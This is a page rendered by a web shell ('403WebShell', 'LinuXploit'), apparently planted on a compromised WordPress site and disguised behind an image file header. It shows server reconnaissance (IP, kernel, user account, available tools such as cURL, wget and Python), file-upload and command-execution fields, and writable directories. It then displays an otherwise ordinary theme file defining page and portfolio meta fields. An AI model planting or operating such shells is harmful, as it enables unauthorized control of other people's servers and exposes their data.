????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.96.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/tempvsty/eaabusiness.com/wp-content/themes/allegiant/core/metadata/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tempvsty/eaabusiness.com/wp-content/themes/allegiant/core/metadata/data_metaboxes.php
<?php

//Create meta fields for pages and taxonomies alike
function cpotheme_metadata_layout_options() {

	$cpotheme_data = array();

	$cpotheme_data['layout_sidebar'] = array(
		'name'   => 'layout_sidebar',
		'label'  => __( 'Sidebar Position', 'allegiant' ),
		'desc'   => __( 'Determines the location of the sidebar by default.', 'allegiant' ),
		'type'   => 'imagelist',
		'option' => cpotheme_metadata_sidebarposition(),
		'std'    => 'default',
	);

	return apply_filters( 'cpotheme_metadata_layout', $cpotheme_data );
}

//Create feature meta fields
function cpotheme_metadata_feature_options() {

	$cpotheme_data = array();

	$cpotheme_data['feature_icon'] = array(
		'name'  => 'feature_icon',
		'std'   => '',
		'label' => __( 'Feature Icon', 'allegiant' ),
		'desc'  => __( 'Sets an icon to be used as the featured element.', 'allegiant' ),
		'type'  => 'iconlist',
	);

	return apply_filters( 'cpotheme_metadata_feature', $cpotheme_data );
}


//Create portfolio meta fields
function cpotheme_metadata_portfolio_options() {

	$cpotheme_data = array();

	$cpotheme_data['portfolio_featured'] = array(
		'name'  => 'portfolio_featured',
		'std'   => '',
		'label' => __( 'Featured Item', 'allegiant' ),
		'desc'  => __( 'Specifies whether this item appears in the homepage.', 'allegiant' ),
		'type'  => 'yesno',
	);

	return apply_filters( 'cpotheme_metadata_portfolio', $cpotheme_data );
}


//Create product meta fields
function cpotheme_metadata_product_options() {

	$cpotheme_data = array();

	$cpotheme_data['product_featured'] = array(
		'name'  => 'product_featured',
		'std'   => '',
		'label' => __( 'Featured Item', 'allegiant' ),
		'desc'  => __( 'Specifies whether this item appears in the homepage.', 'allegiant' ),
		'type'  => 'yesno',
	);

	return apply_filters( 'cpotheme_metadata_product', $cpotheme_data );
}


//Create service meta fields
function cpotheme_metadata_service_options() {

	$cpotheme_data = array();

	$cpotheme_data['service_featured'] = array(
		'name'  => 'service_featured',
		'std'   => '',
		'label' => __( 'Featured Item', 'allegiant' ),
		'desc'  => __( 'Specifies whether this item appears in the homepage.', 'allegiant' ),
		'type'  => 'yesno',
	);

	$cpotheme_data['service_icon'] = array(
		'name'  => 'service_icon',
		'std'   => '',
		'label' => __( 'Service Icon', 'allegiant' ),
		'desc'  => __( 'Sets an icon to be used as the service preview.', 'allegiant' ),
		'type'  => 'iconlist',
	);

	return apply_filters( 'cpotheme_metadata_service', $cpotheme_data );
}


//Create team meta fields
function cpotheme_metadata_team_options() {

	$data = array();

	$data['team_featured'] = array(
		'name'  => 'team_featured',
		'std'   => '',
		'label' => __( 'Featured Member', 'allegiant' ),
		'desc'  => __( 'Specifies whether this member appears in the homepage.', 'allegiant' ),
		'type'  => 'yesno',
	);

	return apply_filters( 'cpotheme_metadata_team', $data );
}


//Create page meta fields
function cpotheme_metadata_page_options() {

	$data = array();

	$data['page_featured'] = array(
		'name'   => 'page_featured',
		'std'    => '',
		'label'  => __( 'Show In Homepage', 'allegiant' ),
		'desc'   => __( 'Specifies whether this item is featured in the homepage.', 'allegiant' ),
		'type'   => 'select',
		'option' => cpotheme_metadata_featured_page(),
	);

	return apply_filters( 'cpotheme_metadata_page', $data );
}

Youez - 2016 - github.com/yon3zu
LinuXploit